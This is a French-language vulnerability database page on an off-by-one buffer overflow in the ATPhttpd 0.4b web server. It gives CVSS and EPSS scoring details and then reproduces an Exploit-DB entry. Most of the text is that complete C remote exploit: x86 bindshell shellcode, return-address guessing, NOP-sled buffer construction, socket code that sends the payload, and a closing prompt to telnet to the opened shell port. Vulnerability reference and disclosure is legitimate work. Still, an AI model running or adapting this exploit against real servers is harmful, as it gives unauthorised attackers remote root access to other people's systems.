CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Off-by-one buffer overflow in the sock_gets function in sockhelp.c for ATPhttpd 0.4b and earlier allows remote attackers to execute arbitrary code via a long HTTP GET request.
Off-by-one Error A product calculates or uses an incorrect maximum or minimum value that is 1 more, or 1 less, than the correct value.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.1
9.8
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity
This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.
Scope
Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.
Unchanged
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Base: Impact Metrics
The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.
Environmental Metrics
These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
nvd@nist.gov
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
7.69%
–
–
2022-02-20
–
–
7.69%
–
–
2022-04-03
–
–
7.69%
–
–
2022-05-29
–
–
7.69%
–
–
2023-03-12
–
–
–
7.14%
–
2023-05-21
–
–
–
9.77%
–
2023-10-22
–
–
–
13.2%
–
2024-02-18
–
–
–
7.12%
–
2024-06-02
–
–
–
7.12%
–
2024-12-22
–
–
–
4.94%
–
2025-01-19
–
–
–
4.94%
–
2025-03-18
–
–
–
–
7.55%
2025-03-30
–
–
–
–
7.25%
2025-03-30
–
–
–
–
7.25,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2002-10-04 22h00 +00:00 Auteur : thread EDB Vérifié : Yes
// source: https://www.securityfocus.com/bid/5956/info
ATP httpd is a lightweight HTTP server. A vulnerability has been reported in ATP httpd that may result in compromise of root access to remote attackers. It is possible to overwrite the least significant byte of the saved base pointer with a NULL if a string of maximum length is transmitted to the server. This creates a potentially exploitable condition if the saved base pointer is corrupted such that it points to attacker-controlled memory.
/* PRPatphttpd.c
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
* -
*
* PYR/\MID, Research Project
* Author: thread
* Date: 05/10/02
* Members: Apm, flea, thread
*
* Proof of Concept Remote Exploit for ATP HTTP Daemon v0.4b
*
* Tested on:
* i386 Slackware 8.0
*
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
/* Constants */
#define BINDSHELL_PORT 36864
#define ARCHS 1
/* External variables */
extern int errno, h_errno; // Already declared in the headers
/* Here is a bindshell(code) */
char bindshell[] =
"\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c"
"\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46"
"\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89"
"\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c"
"\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66"
"\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86"
"\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f"
"\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c"
"\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";
struct arch {
int id;
char *arch;
long ret;
int start_byte;
} arch[] = {
{ 1, "ATP HTTP Daemon v0.4b/i386 Slackware 8.0", 0xbffff7ec, 600 }
};
/* Note that this return address doesn't precisly point to the start
* of buffer's string (without any environment variables except '_')!
* It points to somewhere in the first 2/4 of buffer's memory,
* depending of the memory used by environment variables.
* This is useful to make some compatibility for systems with
* different environments.
*/
/* Prototypes */
int gen_rand(int min, int max);
long get_ret(long base_ret, int bytes);
int main(int argc, char **argv) {
int fd, i, arch_num, tmp;
long ret;
struct sockaddr_in host;
struct hostent *he;
char buffer[803];
printf( "PYR/\\MID, Research Project 02\n"
"ATP HTTP Daemon v0.4b Remote Exploit, by thread\n\n");
/* Checking args */
if (argc == 2 && !strcmp(argv[1], "-h")) {
printf( "<arch>\n"
"Valid architectures:\n");
for (i = 0; i < ARCHS; i++) {
printf("\t%d - %s - 0x%lx\n",
arch[i].id,
arch[i].arch,
arch[i].ret);
}
printf( "\n"
"<environment memory>\n"
"If you have no idea about remote atphttpd environment "
"you should use one of next\n"
"options for this argument:\n"
"\n"
"\t0 - Uses a default return address that works "
"in the most 'default'\n"
"\t slackware envrionments (between 520 and"
" 675 bytes of memory)\n"
"\n"
"\t-1 - Generates a random number that will point "
"to a valid return address\n"
"\t that works in a specific range of "
"memory used by the environment\n"
"\t (good luck ;)\n"
"\n"
"NOTE: A high return address value means less "
"environment memory used\n\n");
return -1;
} else if (argc < 5) {
printf( "Synopsis: %s [-h] <hostname> <port> <arch> "
"<environment memory>\n"
"\n"
"-h\t\t\t- Use this flag as unique argument to "
"display a detailed\n"
"\t\t\t help for <arch> and <environment memory> "
"arguments\n"
"\n"
"<hostname>\t\t- Remote hostname or ip address\n"
"<port>\t\t\t- Remote port\n"
"<arch>\t\t\t- Architecture\n"
"<environment memory>\t- It's the number of "
"bytes that the environment (where\n"
"\t\t\t atphttpd runs) uses in memory.\n"
"\n", argv[0]);
return -1;
}
/* Calculating a new return address */
printf("Calculating a new return address... ");
fflush(stdout);
arch_num = atoi(argv[3]) - 1;
ret = get_ret(arch[arch_num].ret, atoi(argv[4]));
printf("Done: 0x%lx\n", ret);
/* Resolving hostname */
printf("Resolving hostname (%s)... ", argv[1]);
fflush(stdout);
if (!(he = gethostbyname(argv[1]))) {
fprintf(stderr, "Error: gethostbyname(): %s\n",
hstrerror(h_errno));
return -1;
} else {
char *r_ip = (char *) &host.sin_addr.s_addr;
host.sin_addr.s_addr = *((unsigned long *) *he->h_addr_list);
printf("Resolved to: %u.%u.%u.%u\n",
(unsigned char) r_ip[0],
(unsigned char) r_ip[1],
(unsigned char) r_ip[2],
(unsigned char) r_ip[3]);
}
/* Setting remote port and protocol family */
host.sin_port = htons(atoi(argv[2]));
host.sin_family = AF_INET;
/* Creating an end-point for comunication */
printf("Creating an end-point for comunication... ");
fflush(stdout);
if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
fprintf(stderr, "Error: socket(): %s\n", strerror(errno));
return -1;
}
printf("Done\n");
/* Connecting to the remote host */
printf("Connecting to the remote host... ");
fflush(stdout);
if (connect(fd, (struct sockaddr *) &host,
sizeof(struct sockaddr)) < 0) {
fprintf(stderr, "Error: connect(): %s\n", strerror(errno));
return -1;
}
printf("Connected\n");
/* Crafting the string */
memset(buffer, '\x90', sizeof(buffer)); // Fill buffer with NOPs
/* The return address is somewhere around here.
* It changes a lot of times because
* the environment changes the buffer's place,
* so lets fill the memory's field
* where the return address is used to be:
*/
for (tmp = sizeof(buffer) - sizeof(long) - 3,
i = arch[arch_num].start_byte; i < tmp;
i += sizeof(long))
*(long *)&buffer[i] = ret;
memcpy((buffer + sizeof(buffer) - 1) - 3 - strlen(bindshell)
- ((sizeof(buffer) - arch[arch_num].start_byte) + 1),
bindshell, strlen(bindshell)); /* put the code right
* before the ret addr
* and ignore the '\0'
* and LF/CR chars
*/
buffer[sizeof(buffer) - 3] = '\n';
buffer[sizeof(buffer) - 2] = '\r';
buffer[sizeof(buffer) - 1] = 0;
/* Now sending the crafted string to the remote host */
printf("Sending buffer to the remote host... ");
fflush(stdout);
if (write(fd, buffer, strlen(buffer)) < 0) {
fprintf(stderr, "Error: write(): %s\n", strerror(errno));
return -1;
}
printf("Sent\n");
/* Close the file descriptor */
printf("Closing the connection... ");
fflush(stdout);
if (close(fd) < 0) {
fprintf(stderr, "Error: close(): %s\n", strerror(errno));
return -1;
}
printf("Closed\n");
printf("\nNow try: telnet %s %d\n", argv[1], BINDSHELL_PORT);
return 0;
}
int gen_rand(int min, int max) {
struct timeval tv;
gettimeofday(&tv, NULL);
srand(tv.tv_usec);
return (min + (rand() % (max / 2)));
}
long get_ret(long base_ret, int bytes) {
if (!bytes)
return 0xbffff4ec;
if (bytes < 0)
return get_ret(base_ret, gen_rand(5, 1500));
return ((base_ret - bytes) - ((bytes >> 8) << 3));
/* ^^^^^^^^^^^^^^^^^^^ */
/* This will try to reduce the */
/* error tax of the result */
/* Note that this isn't an exact calculation! This will return
* a value that should point to somewhere in the first 2/4 of
* buffer's memory. This should work for 90% of the cases.
*/
}